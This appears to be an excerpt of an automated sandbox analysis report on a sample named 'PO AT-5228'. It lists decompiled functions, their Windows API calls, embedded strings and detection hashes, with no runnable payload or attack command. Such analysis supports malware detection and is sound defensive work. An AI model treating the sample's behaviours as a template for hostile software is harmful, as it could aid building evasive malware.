Opcode ID: cdc46477a853d83ddcb26a5d6cbc3a842eb456a04bf3cd65a9eaeee1e410241a
Instruction ID: 528d610983690e2e2299919977ea3e9cd2311680c2f4a403820ba0a22b799d0c
Opcode Fuzzy Hash: cdc46477a853d83ddcb26a5d6cbc3a842eb456a04bf3cd65a9eaeee1e410241a
Instruction Fuzzy Hash: BC11D2B2508115AFCB24BB60AC4AEDA77E8EF41710F0400E5F505AB091EEB1EE858B50

Function 00B8500E Relevance: 16.8, APIs: 11, Instructions: 257COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B85047

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

__gmtime64_s.LIBCMT ref: 00B850E0
__gmtime64_s.LIBCMT ref: 00B85116
__gmtime64_s.LIBCMT ref: 00B85133
__allrem.LIBCMT ref: 00B85189
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B851A5
__allrem.LIBCMT ref: 00B851BC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B851DA
__allrem.LIBCMT ref: 00B851F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B8520F
__invoke_watson.LIBCMT ref: 00B85280

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
Instruction ID: 4a81141b2ebc42801f879746eacd424d998f355e708d1da62ccd1773b9dfa3af
Opcode Fuzzy Hash: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
Instruction Fuzzy Hash: 9D71C775A01B17ABDB24BE78CC81BAAB3E8EF04764F1442B9F510D6291EB70D940CBD0

Function 00BA4DDD Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BA4DF8
GetMenuItemInfoW.USER32(00C21708,000000FF,00000000,00000030), ref: 00BA4E59
SetMenuItemInfoW.USER32(00C21708,00000004,00000000,00000030), ref: 00BA4E8F
Sleep.KERNEL32(000001F4), ref: 00BA4EA1
GetMenuItemCount.USER32(?), ref: 00BA4EE5
GetMenuItemID.USER32(?,00000000), ref: 00BA4F01
GetMenuItemID.USER32(?,-00000001), ref: 00BA4F2B
GetMenuItemID.USER32(?,?), ref: 00BA4F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00BA4FB6
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00BA4FCA
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00BA4FEB

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 69623f3f74ca4d0fb6387835008533dd563773972815e21e92285069d49861e1
Instruction ID: d68b35700fbf13a87b3d9f0cc95a3711ee5425419c7bbecaff93a2df79746ac9
Opcode Fuzzy Hash: 69623f3f74ca4d0fb6387835008533dd563773972815e21e92285069d49861e1
Instruction Fuzzy Hash: C361A271908289AFDF21CF68DC84EAE7BF8FB82304F140599F945A7251D7B2AD05CB21

Function 00BC9C16 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00BC9C98
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00BC9C9B
GetWindowLongW.USER32(?,000000F0), ref: 00BC9CBF
_memset.LIBCMT ref: 00BC9CD0
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00BC9CE2
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00BC9D5A

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 35144d7a6885523f0a3ef75b28bb22ba0f4a3a6ba1af96dd703b187d2b430d25
Instruction ID: da9cf3cc203451c8efdfe07105997886df2ce3600cf29046a3797f3016197244
Opcode Fuzzy Hash: 35144d7a6885523f0a3ef75b28bb22ba0f4a3a6ba1af96dd703b187d2b430d25
Instruction Fuzzy Hash: AF616B75900248AFEB20DFA4CC85FEE77F8EB09714F1441A9FA05E72A1D770A946DB50

Function 00B994E1 Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 00B994FE
SafeArrayAllocData.OLEAUT32(?), ref: 00B99549
VariantInit.OLEAUT32(?), ref: 00B9955B
SafeArrayAccessData.OLEAUT32(?,?), ref: 00B9957B
VariantCopy.OLEAUT32(?,?), ref: 00B995BE
SafeArrayUnaccessData.OLEAUT32(?), ref: 00B995D2
VariantClear.OLEAUT32(?), ref: 00B995E7
SafeArrayDestroyData.OLEAUT32(?), ref: 00B995F4
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B995FD
VariantClear.OLEAUT32(?), ref: 00B9960F
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B9961A

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 441044d758ba8a86697b089120964ee3d5d0f3c47918a88a05e98727c8833660
Instruction ID: c1414c7a5875d652621a87e8bd402ae926aec40efeca81559dcf92428f476bc1
Opcode Fuzzy Hash: 441044d758ba8a86697b089120964ee3d5d0f3c47918a88a05e98727c8833660
Instruction Fuzzy Hash: 41412E31900219AFCF01EFA8D8849DEBBB9FF18354F0180A9E515E7261DB71EA45CBA1

Function 00BBADAE Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6936C: __swprintf.LIBCMT ref: 00B693AB
Part of subcall function 00B6936C: __itow.LIBCMT ref: 00B693DF

CoInitialize.OLE32 ref: 00BBADF6
CoUninitialize.OLE32 ref: 00BBAE01
CoCreateInstance.OLE32(?,00000000,00000017,00BED8FC,?), ref: 00BBAE61
IIDFromString.OLE32(?,?), ref: 00BBAED4
VariantInit.OLEAUT32(?), ref: 00BBAF6E
VariantClear.OLEAUT32(?), ref: 00BBAFCF

Strings

Failed to create object, xrefs: 00BBAE6C, 00BBAF22
NULL Pointer assignment, xrefs: 00BBAEA6
Invalid parameter, xrefs: 00BBAEED

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: e510a0d63d1ace6b0210d0a2753683ed1917c6ddb17c808f7b7d4812d689eddf
Instruction ID: 5e08d3d0fcd0d6be4c02d00ff5b60c27b3de3712cde156d5e6f5c0dea686b1c2
Opcode Fuzzy Hash: e510a0d63d1ace6b0210d0a2753683ed1917c6ddb17c808f7b7d4812d689eddf
Instruction Fuzzy Hash: F0617971A08301AFD710DF54C888BBABBE8EF49714F144899F9859B291C7B0ED44CB93

Function 00BB8107 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00BB8168
inet_addr.WSOCK32(?,?,?), ref: 00BB81AD
gethostbyname.WSOCK32(?), ref: 00BB81B9
IcmpCreateFile.IPHLPAPI ref: 00BB81C7
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00BB8237
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00BB824D
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00BB82C2
WSACleanup.WSOCK32 ref: 00BB82C8

Strings

Ping, xrefs: 00BB81EB

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 5e3c68b52fffca641bf6382017c2ce0f21c045f546c9f87ad1a8e8b703f109cb
Instruction ID: 9409a8ecd7af8e79219c975bf6bf295034cc236f2921da5c9c2adfb749335f4c
Opcode Fuzzy Hash: 5e3c68b52fffca641bf6382017c2ce0f21c045f546c9f87ad1a8e8b703f109cb
Instruction Fuzzy Hash: 555181316046009FD7119F64DC85BBABBE9EF48310F0489A9F959EB2A1DFB4ED05CB42

Function 00BAE389 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00BAE396
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00BAE40C
GetLastError.KERNEL32 ref: 00BAE416
SetErrorMode.KERNEL32(00000000,READY), ref: 00BAE483

Strings

READY, xrefs: 00BAE45C
NOTREADY, xrefs: 00BAE442
READONLY, xrefs: 00BAE44E
INVALID, xrefs: 00BAE455
UNKNOWN, xrefs: 00BAE43B

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: ec66c2ded2795397447dbd827f060533a8d7c1a7a22ffbec003e2b719023fbad
Instruction ID: c672eb9f4b68c3134f948b56dddcecbcc72db30c4ca1d4c6eff5db2fecb38213
Opcode Fuzzy Hash: ec66c2ded2795397447dbd827f060533a8d7c1a7a22ffbec003e2b719023fbad
Instruction Fuzzy Hash: 1F319035A042099FDB01EB68C895ABDBBF8EF0A304F1480A5E515EB391DF70DA42CB91

Function 00B9B907 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00B9B98C
GetDlgCtrlID.USER32 ref: 00B9B997
GetParent.USER32 ref: 00B9B9B3
SendMessageW.USER32(00000000,?,00000111,?), ref: 00B9B9B6
GetDlgCtrlID.USER32(?), ref: 00B9B9BF
GetParent.USER32(?), ref: 00B9B9DB
SendMessageW.USER32(00000000,?,?,00000111), ref: 00B9B9DE

Strings

ComboBox, xrefs: 00B9B911
ListBox, xrefs: 00B9B949

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$CtrlParent
String ID: ComboBox$ListBox
API String ID: 1383977212-1403004172
Opcode ID: 3cf4da28855e5e5284e3401991cb8163d3c18b59f01e9207097eec3425a51a3a
Instruction ID: 4b06960757b263eb3848ec3e01318a63e289696fa3a551a4191f6c0b93d7f4e3
Opcode Fuzzy Hash: 3cf4da28855e5e5284e3401991cb8163d3c18b59f01e9207097eec3425a51a3a
Instruction Fuzzy Hash: 5921A174900108AFDF04ABA4DCC6EFEBBB5EF4A300B100169F661972A1DBB958159B20

Function 00B9B9F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00B9BA73
GetDlgCtrlID.USER32 ref: 00B9BA7E
GetParent.USER32 ref: 00B9BA9A
SendMessageW.USER32(00000000,?,00000111,?), ref: 00B9BA9D
GetDlgCtrlID.USER32(?), ref: 00B9BAA6
GetParent.USER32(?), ref: 00B9BAC2
SendMessageW.USER32(00000000,?,?,00000111), ref: 00B9BAC5

Strings

ComboBox, xrefs: 00B9B9FA
ListBox, xrefs: 00B9BA32

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$CtrlParent
String ID: ComboBox$ListBox
API String ID: 1383977212-1403004172
Opcode ID: a5b949477ec4608496cafd2344c9decef21d04093bc5a0f6b43169e6488ee80e
Instruction ID: 60356d6990210c55b4d46d841674e7393cd4f1a8e24c03e036ba2c55ff3f332c
Opcode Fuzzy Hash: a5b949477ec4608496cafd2344c9decef21d04093bc5a0f6b43169e6488ee80e
Instruction Fuzzy Hash: CA21C2B4A00108BFDF00ABA4DC85EFEBBB9EF45300F100165F551A71A1DFB95919AB20

Function 00B9BAD7 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00B9BAE3
GetClassNameW.USER32(00000000,?,00000100), ref: 00B9BAF8
_wcscmp.LIBCMT ref: 00B9BB0A
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00B9BB85

Strings

details, xrefs: 00B9BB33
SHELLDLL_DefView, xrefs: 00B9BB04
largeicons, xrefs: 00B9BB19
list, xrefs: 00B9BB67
smallicons, xrefs: 00B9BB4D

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: baba95a35e88e07f8f57bd24f078e00a596a33346160e4a9756cf8060fec7694
Instruction ID: ea335c710df48db851db3d1af2431e93b4d67f3006b1e104a69f2c3e545d0866
Opcode Fuzzy Hash: baba95a35e88e07f8f57bd24f078e00a596a33346160e4a9756cf8060fec7694
Instruction Fuzzy Hash: 1511067A648307FEFE247624FC46DE637DCDF12764B2000B2FA04E50E5EFA16861A614

Function 00BBB2A9 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00BBB2D5
CoInitialize.OLE32(00000000), ref: 00BBB302
CoUninitialize.OLE32 ref: 00BBB30C
GetRunningObjectTable.OLE32(00000000,?), ref: 00BBB40C
SetErrorMode.KERNEL32(00000001,00000029), ref: 00BBB539
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002), ref: 00BBB56D
CoGetObject.OLE32(?,00000000,00BED91C,?), ref: 00BBB590
SetErrorMode.KERNEL32(00000000), ref: 00BBB5A3
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00BBB623
VariantClear.OLEAUT32(00BED91C), ref: 00BBB633

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: c8fb0c038d02fc3fbdefa1207eda76e763cabc180b418966deafbd3857905cd4
Instruction ID: 71f194046182b23f972a40f5bbcfa1a8c1973ba05817782a218786608d78b1c2
Opcode Fuzzy Hash: c8fb0c038d02fc3fbdefa1207eda76e763cabc180b418966deafbd3857905cd4
Instruction Fuzzy Hash: 0FC10371608345AFCB00DF69C894D6AB7E9FF88304F0449ADF58A9B251DBB1ED05CB52

Function 00B8ACB3 Relevance: 15.2, APIs: 10, Instructions: 219COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00B8ACC1

Part of subcall function 00B87CF4: __mtinitlocknum.LIBCMT ref: 00B87D06
Part of subcall function 00B87CF4: EnterCriticalSection.KERNEL32(00000000,?,00B87ADD,0000000D), ref: 00B87D1F

__calloc_crt.LIBCMT ref: 00B8ACD2

Part of subcall function 00B86986: __calloc_impl.LIBCMT ref: 00B86995
Part of subcall function 00B86986: Sleep.KERNEL32(00000000,000003BC,00B7F507,?,0000000E), ref: 00B869AC

@_EH4_CallFilterFunc@8.LIBCMT ref: 00B8ACED
GetStartupInfoW.KERNEL32(?,00C16E28,00000064,00B85E91,00C16C70,00000014), ref: 00B8AD46
__calloc_crt.LIBCMT ref: 00B8AD91
GetFileType.KERNEL32(00000001), ref: 00B8ADD8
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 00B8AE11

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 1426640281-0
Opcode ID: 947c15b384eeba8abc4d450fd6536dc83262316c9f8a4805585dc8dd86933191
Instruction ID: 956f39d34b7ac8f77adfd89c0e4bff57325fd2eb41f0c24bfcc48e51158f1796
Opcode Fuzzy Hash: 947c15b384eeba8abc4d450fd6536dc83262316c9f8a4805585dc8dd86933191
Instruction Fuzzy Hash: 9481D8719053458FEB24EF68C8806ADBBF0EF05325B2446AED4A6EB3E1D7349843CB55

Function 00BA67E9 Relevance: 15.1, APIs: 10, Instructions: 107windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00BA67FD
__swprintf.LIBCMT ref: 00BA680A

Part of subcall function 00B8172B: __woutput_l.LIBCMT ref: 00B81784

FindResourceW.KERNEL32(?,?,0000000E), ref: 00BA6834
LoadResource.KERNEL32(?,00000000), ref: 00BA6840
LockResource.KERNEL32(00000000), ref: 00BA684D
FindResourceW.KERNEL32(?,?,00000003), ref: 00BA686D
LoadResource.KERNEL32(?,00000000), ref: 00BA687F
SizeofResource.KERNEL32(?,00000000), ref: 00BA688E
LockResource.KERNEL32(?), ref: 00BA689A
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00BA68F9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 618c92c99f399727ed2437007936003796be4eb06f3adf97f85e38cbbd7e4596
Instruction ID: 750776ce02e07330876014457a6c867c79b566c5a5af92f016449575d88e1da5
Opcode Fuzzy Hash: 618c92c99f399727ed2437007936003796be4eb06f3adf97f85e38cbbd7e4596
Instruction Fuzzy Hash: 88318EB190425AABDB109F60DD85ABF7BECEF09340B088466FA12D7150EB78D911DB70

Function 00BA4025 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00BA4047
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00BA30A5,?,00000001), ref: 00BA405B
GetWindowThreadProcessId.USER32(00000000), ref: 00BA4062
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00BA30A5,?,00000001), ref: 00BA4071
GetWindowThreadProcessId.USER32(?,00000000), ref: 00BA4083
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00BA30A5,?,00000001), ref: 00BA409C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00BA30A5,?,00000001), ref: 00BA40AE
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00BA30A5,?,00000001), ref: 00BA40F3
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00BA30A5,?,00000001), ref: 00BA4108
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00BA30A5,?,00000001), ref: 00BA4113

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 16523ffd120eb2a7f100a08aff9f8323db165b451d33275b71ed5f5d35fc6743
Instruction ID: 6917f22bd8d7b9cd7fad174aec57463ac933d0768d0380049c0c3797183e36d5
Opcode Fuzzy Hash: 16523ffd120eb2a7f100a08aff9f8323db165b451d33275b71ed5f5d35fc6743
Instruction Fuzzy Hash: 0931C171514244AFDB21DF58DC86B6D7BE9FBA2311F10824AF904EB290CBF99D818B60

Function 00B9CB82 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 239COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00B9CF50), ref: 00B9CE90

Strings

REGEXPCLASS, xrefs: 00B9CC56
NAME, xrefs: 00B9CCC2
CLASS, xrefs: 00B9CC10
CLASSNN, xrefs: 00B9CC33
